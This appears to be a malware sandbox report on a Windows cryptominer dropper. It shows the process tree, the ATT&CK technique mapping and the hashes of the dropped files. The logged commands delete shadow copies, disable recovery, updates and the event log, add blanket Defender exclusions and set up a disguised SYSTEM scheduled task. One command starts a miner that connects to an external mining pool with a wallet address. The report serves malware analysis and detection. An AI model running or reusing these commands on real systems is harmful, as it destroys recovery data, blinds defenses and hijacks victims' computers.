- C:\Windows\SYSTEM32\sc.exe
  sc.exe config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:5880
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config UsoSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5088
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:2312
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config dosvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4608
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config WaaSMedicSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5384
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config eventlog start= disabled
  2⤵
  - Launches sc.exe
  PID:2944
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C rmdir /S /Q "C:\\inetpub" 2>nul
  2⤵
  PID:1432
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1328
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:5784
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "reagentc.exe /disable >nul 2>&1 && takeown /f "C:\Windows\System32\reagentc.exe" >nul 2>&1 && icacls "C:\Windows\System32\reagentc.exe" /grant administrators:F >nul 2>&1 && del /f /q "C:\Windows\System32\reagentc.exe" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5652
- - C:\Windows\system32\ReAgentc.exe
    reagentc.exe /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:1044
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\reagentc.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1828
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\reagentc.exe" /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1612
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2284
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1216
- C:\Windows\SYSTEM32\schtasks.exe
  schtasks.exe /create /sc onstart /tn "WMI Provider Host" /tr "C:\ProgramData\Microsoft\WinMSIPS.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe" /ru "system" /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1712
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c timeout /t 10 /nobreak >nul && schtasks.exe /run /tn "WMI Provider Host"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2636
- - C:\Windows\system32\timeout.exe
    timeout /t 10 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3172
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /run /tn "WMI Provider Host"
    3⤵
    PID:2440

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:1008

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:1696

C:\ProgramData\Microsoft\WinMSIPS.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe
C:\ProgramData\Microsoft\WinMSIPS.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe
1⤵
- Modifies Windows Defender notification settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4892
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5072
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5796
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\'; Add-MpPreference -ExclusionPath 'C:\ProgramData\'; Add-MpPreference -ExclusionPath 'C:\Windows\'; Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionExtension '.sys'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5716
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1656
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5404
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4340
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:3856
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\SYSTEM32\sc.exe
  sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:4444
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:1860
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config UsoSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1692
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:4140
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config dosvc start= disabled
  2⤵
  - Launches sc.exe
  PID:5580
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config WaaSMedicSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2896
- C:\Windows\SYSTEM32\sc.exe
  sc.exe config eventlog start= disabled
  2⤵
  - Launches sc.exe
  PID:2700
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C rmdir /S /Q "C:\\inetpub" 2>nul
  2⤵
  PID:4540
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3380
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c "reagentc.exe /disable >nul 2>&1 && takeown /f "C:\Windows\System32\reagentc.exe" >nul 2>&1 && icacls "C:\Windows\System32\reagentc.exe" /grant administrators:F >nul 2>&1 && del /f /q "C:\Windows\System32\reagentc.exe" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3636
- - C:\Windows\system32\ReAgentc.exe
    reagentc.exe /disable
    3⤵
    - Drops file in Windows directory
    PID:6092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2600

C:\ProgramData\Microsoft\WinMSIPS.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe
"C:\ProgramData\Microsoft\WinMSIPS.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe"
1⤵
- Modifies Windows Defender notification settings
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:556
- C:\Windows\system32\cmd.exe
  cmd.exe /C net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Windows\System32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath 'C:\Users\'; Add-MpPreference -ExclusionPath 'C:\ProgramData\'; Add-MpPreference -ExclusionPath 'C:\Windows\'; Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionExtension '.sys'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:2908
- C:\Windows\system32\sc.exe
  sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4808
- C:\Windows\system32\sc.exe
  sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1968
- C:\Windows\system32\sc.exe
  sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:4360
- C:\Windows\system32\sc.exe
  sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1908
- C:\Windows\system32\sc.exe
  sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4608
- C:\Windows\system32\sc.exe
  sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:5516
- C:\Windows\system32\sc.exe
  sc.exe config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3436
- C:\Windows\system32\sc.exe
  sc.exe config UsoSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1916
- C:\Windows\system32\sc.exe
  sc.exe config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:836
- C:\Windows\system32\sc.exe
  sc.exe config dosvc start= disabled
  2⤵
  - Launches sc.exe
  PID:4880
- C:\Windows\system32\sc.exe
  sc.exe config WaaSMedicSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1864
- C:\Windows\system32\sc.exe
  sc.exe config eventlog start= disabled
  2⤵
  - Launches sc.exe
  PID:1948
- C:\Windows\system32\cmd.exe
  cmd.exe /C rmdir /S /Q "C:\\inetpub" 2>nul
  2⤵
  PID:308
- C:\Windows\system32\cmd.exe
  cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5732
- - C:\Windows\System32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:3412
- C:\Windows\system32\cmd.exe
  cmd.exe /c "reagentc.exe /disable >nul 2>&1 && takeown /f "C:\Windows\System32\reagentc.exe" >nul 2>&1 && icacls "C:\Windows\System32\reagentc.exe" /grant administrators:F >nul 2>&1 && del /f /q "C:\Windows\System32\reagentc.exe" >nul 2>&1
  2⤵
  PID:2028
- - C:\Windows\System32\ReAgentc.exe
    reagentc.exe /disable
    3⤵
    - Drops file in Windows directory
    PID:1712
- C:\Windows\system32\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  PID:3428
- - C:\Windows\System32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3720
- C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\WinMSlPC.{208D2C60-3AEA-1069-A2D7-08002B30309D}\svchost.exe
  "C:\Windows\system32\config\systemprofile\AppData\Roaming\Microsoft\WinMSlPC.{208D2C60-3AEA-1069-A2D7-08002B30309D}\svchost.exe" -a rx/0 -o pool.supportxmr.com:443 -u 45Bmz1x7xrjT5iN8ZyL1dCZGAB2RmTjCEDnzRH2Q7wrG9QkV321P4oeVKJzUqzeTpp6Pft487YkbGKskBAAEMP5jUbFadqg.worker -p worker -b --no-color --verbose=0 --tls --cpu-max-threads-hint=25
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  PID:5592

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

WmiPrvSE.exe

Path C:\ProgramData\Microsoft\WinMSIPS.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe
Size 7.7MB
SHA256 c5e282783593677645105d5c2ff30b1e5c9db4884a4344cf018f2084fd122439
MD5 52b373bd534b3a0ec45b9b4c8a222204
SHA1 f68607bff20a11bffeff4f2912f2a770a6284e90
SHA512 0368d6ecfd27886353ab55cf81a71597ca7b3a5cf8e93df3b72541ef1db141ae51145fe22619861c9000593b14e3d004fe68b36a2d4e19e6910f003a1ca31bc4
SSDEEP 196608:8dcgS7eaAhp8L0YGtaG9ZrqD9paST57GwI9Zngpb8p5+xcd:KSBYp00Y8zq7hIXgpgp5a6
TLSH
T19C862395B7D204B9E1ABC7B0C562356EF2293BC38B34DEC723D816580E233916A7E754
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bc3adc6f82a8110a928ed6755b7c363f1af83ceb434f5587e2511e4f6cdf9e42
MD5 80642800e302d25cc033771c919d3151
SHA1 8e0f876702ebf5c019a9aaad2aab944546d0f2e7
SHA512 77075167b3f0877d2a41ed3bdb3482a8d1c187c11351b16737d4811047bdab9237af563d5450ae2f6c5d37472f7ff3346fc0bba99cebb9d08a906bdb4f6e88b4
TLSH
T1E6216833F3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_dlgydpw5.3lp.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dlgydpw5.3lp.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 3KB
SHA256 f4f60b5814528be7d53e35807eadb45e30206afd66cd27540456194fb1433229
MD5 c1d120d9bbc942ee2af0239b5d9b37d3
SHA1 3b290f179dbeec00c2d0024daef234c057701188
SHA512 71c826244b0247579f4a3cc4a97ca6c38838ed683e1c8b563dc96c1d80a52e45c3a0b6d691f14653cfcba478faa79648508ab31a7ed5fe1ee04b272050d2bcd0
TLSH
T15981F7261F1342349545DB40E6921A6FEA8372A6BF6EB464B6FF20957B0370B84FD84C
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 4KB
SHA256 54e23621f17f9f1c8612dcad12e4cd920e54e71c4c7928d96243acef53d59832
MD5 d2f409828e60f2ec32e80b51f485f99a
SHA1 081ea5dad9ac5e4cbb33b7088639eee82185552a
SHA512 eb0c9191a09771d2d8fcae04300ead1e0efddee417ec050ca8d246b851b02c68fa948b2b14adb27c62345aaf0387c838a08558e958aa3a2560b4354ca6fc0b15
SSDEEP 96:DBBBgBBBcB7BKBibByjBYBDBK9B9BbBABBBYBtBtBMBtBwBXB+BDB2QwqBxBFBg6:DBBBgBBBcB7BKBOByBYBDBK9B9BbBABJ
TLSH
T1BA91E7262F1342349545DB01E6921A5FDA8372A6BF6EB464B6FF24857B0370B84ED84C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 14KB
SHA256 1ce8b0141666f1506f7dc7e08521d151efd43166d1d7969a0cfa1f06c1cce00d
MD5 7bfb36f9b0689b2e3022eaae882ce1f1
SHA1 d819aac7547e0b2fad012153bef8cd7ffadcebab
SHA512 8f85eff7568d2b5c1d70d6d15f06f9e63b16e67f31c026e7292090caa674ab1a04f8c8a637be74749feb7c6d6146822e4d884aaf481eccdfdf4f08e99e85fa1a
SSDEEP 192:53gbq3gbq3gbHWZMM/1LkMw8MBXn3gbq3gbq3gbq3gbHb:53Iq3Iq3IgU3Iq3Iq3Iq3I7
TLSH
T1A862C729B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFA279082F5B07CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 16KB
SHA256 10da1fd18e5d005608cf8b1db1c85dc6a3d4c42cc3d7daa6341a63c7b6cfa503
MD5 c2006b7d0baa0b4fc805e0fa41aacba4
SHA1 648b633ff010b8dc103b840d894218b60990ba2c
SHA512 0a8d2666f1c6feb0ef1a7cbf3b2d1cf55fd98602b085acbc8d3ae1b9083e24e121c43f437a122c2d2c4bba58f29544eed039b7c7a8d2bb48ffa52b9311c2c565
SSDEEP 192:53gbq3gbq3gbHWZMM/1LkMw8MBXn3gbq3gbq3gbq3gbHI3gbt:53Iq3Iq3IgU3Iq3Iq3Iq3Io3It
TLSH
T1B972B629B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFA279082F5B07CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 15KB
SHA256 a0a209ed61eeeadba7766610f4042e9a0d35c1b907f0ad17b996bf9fc6c375e4
MD5 f5de86812d964d94818ddeea27b478ae
SHA1 d9dc4921b6821e6ec1cb7cee3607348c64e87b19
SHA512 8fc30fd586083346c66b1878bd91fdd7523f6c12c713ad7c7fab63780c3499e3cca3aca3ad0027054e96cea5d47109c84561f777e79105a40c4f925cfec4d903
SSDEEP 192:53gbq3gbECcC4pVsVRVNG3gbY3gbq3gbq3gbq3gbE/T:53Iq3ILcB3IY3Iq3Iq3Iq3Is
TLSH
T15862E539B1952EBB5C9046F8DBD038C26B8097794106A03795C4FEAFB279042F9B17DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 17KB
SHA256 519fdb7275e7caa330438d14407caf58cab88b2bef852292267f88c0e63f24ef
MD5 5e0035cbc25c9ad99c69644bf273014d
SHA1 1fb89575c381315b3aaa57340b245849d36300c6
SHA512 4653b4d10972fed8bba70a91f647d7ea68391bc9d3e147079c664365882c51709e217f2c5f9f62940bf3bd53dce4c47e8d6e71512540d9310549d6081f72bafc
SSDEEP 192:53gbq3gbECcC4pVsVRVNG3gbY3gbq3gbq3gbq3gbE/g3gbt:53Iq3ILcB3IY3Iq3Iq3Iq3Ij3It
TLSH
T1B572E539B1992EBB5C9046F8DBD038C26F8097794106A03795C4FDAFA279042F9B17DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

setuperr.log

Path C:\Windows\Panther\UnattendGC\setuperr.log
Size 947B
SHA256 233065aec336f239190f9c2cbd6b324fb095518800d0b07b8398abfe666c715d
MD5 691e3be45b5ff2848c923c27871ca0bb
SHA1 e2a065921af73592d3193c0a06e6f1de1ab1b492
SHA512 706217f6326e76f70e891a3825349918de239bbe1661ad55987e3c591f7f07bba2a89baff1aad86ff473317740adcc9b66ce55d391898e2eaf535b5d720d1eae
TLSH
T11A11AB122B1A0AEC302016CAD565E6049FC292CA422D603A767E470D6FE4DD2DFE855E
MD5 SHA1 SHA512 TLSH

Submit Download

svchost.exe

Path C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\WinMSlPC.{208D2C60-3AEA-1069-A2D7-08002B30309D}\svchost.exe
Size 3.9MB
SHA256 c84112bb89ea74889244c93936cf7234244b3a97ecd3f7f8a43b30e080836d74
MD5 78e3563d9f0efdf02ba02ad7f5786e80
SHA1 4ae3e055087a10e21d6ab993a42df8b6eeac048d
SHA512 e329d228400edf6b725be34a34d7ef8ff11111cabec916df835fde8e3e288fb538ddf4d44dbe4d0b32e06d3220f1206ffd1f2a050bf4160bc63ebf7ca3c4268b
SSDEEP 98304:5z2dIws4ioojbHwpNkWEWoAXakZtZNMEzSEizoTyK/D2L86hAG:5zqTioSHwp6WboAh9C1oT7qQ
TLSH
T1E41623652B8945B4E097CF765293953E336937A1E8F02D416AC7678C1F2363239BFB80
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.xml

Path C:\Windows\system32\Recovery\ReAgent.xml
Size 1KB
SHA256 07f0adce301905f1b9b29e7ee60ec456c81c46a58fe747000f64972a3f669e90
MD5 0d83672014b0c83cf8f0ceaa44df770b
SHA1 e304f10167e244864a65db535cfcb39a879e8963
SHA512 001306eb9a8a5aee8637c619db6dd6dd6ff31b5573fca8872414a7cf734d617bb3e833f978a7928d292120ac9da91c2de729090bac92a0d62572cf0465ebf6e8
TLSH
T12E11B64A81B858A6C7B1D266F0F8BD60863FF1DD02E08A5CA029F6D39447462CB5F9B0
MD5 SHA1 SHA512 TLSH

Submit Download

memory/556-57-0x00000227953A0000-0x00000227953A1000-memory.dmp

Download

memory/556-70-0x00007FFC26DD0000-0x00007FFC2702E000-memory.dmp

Download

memory/1200-31-0x00007FF7585F0000-0x00007FF758DA1000-memory.dmp

Download

memory/1200-1-0x00007FFC471B0000-0x00007FFC471B2000-memory.dmp

Download

memory/4692-16-0x000001FDCE990000-0x000001FDCEA42000-memory.dmp

Download

memory/4692-7-0x000001FDCE7D0000-0x000001FDCE7F2000-memory.dmp

Download

memory/4692-23-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-24-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-26-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-21-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-20-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-2-0x00007FFC242BF000-0x00007FFC242C0000-memory.dmp

Download

memory/4692-19-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-18-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-3-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-17-0x000001FDCE850000-0x000001FDCE85A000-memory.dmp

Download

memory/4692-15-0x000001FDCE970000-0x000001FDCE98E000-memory.dmp

Download

memory/4692-12-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-11-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-4-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-10-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-9-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-8-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4692-22-0x00007FFC24130000-0x00007FFC24AD4000-memory.dmp

Download

memory/4892-50-0x00007FFC26DD0000-0x00007FFC2702E000-memory.dmp

Download

memory/4892-39-0x00000201D9C60000-0x00000201D9C61000-memory.dmp

Download

memory/4892-33-0x00007FFC471B0000-0x00007FFC471B2000-memory.dmp

Download

memory/5592-82-0x00007FF7FB310000-0x00007FF7FC094000-memory.dmp

Download

memory/5592-86-0x00000295F3850000-0x00000295F3870000-memory.dmp

Download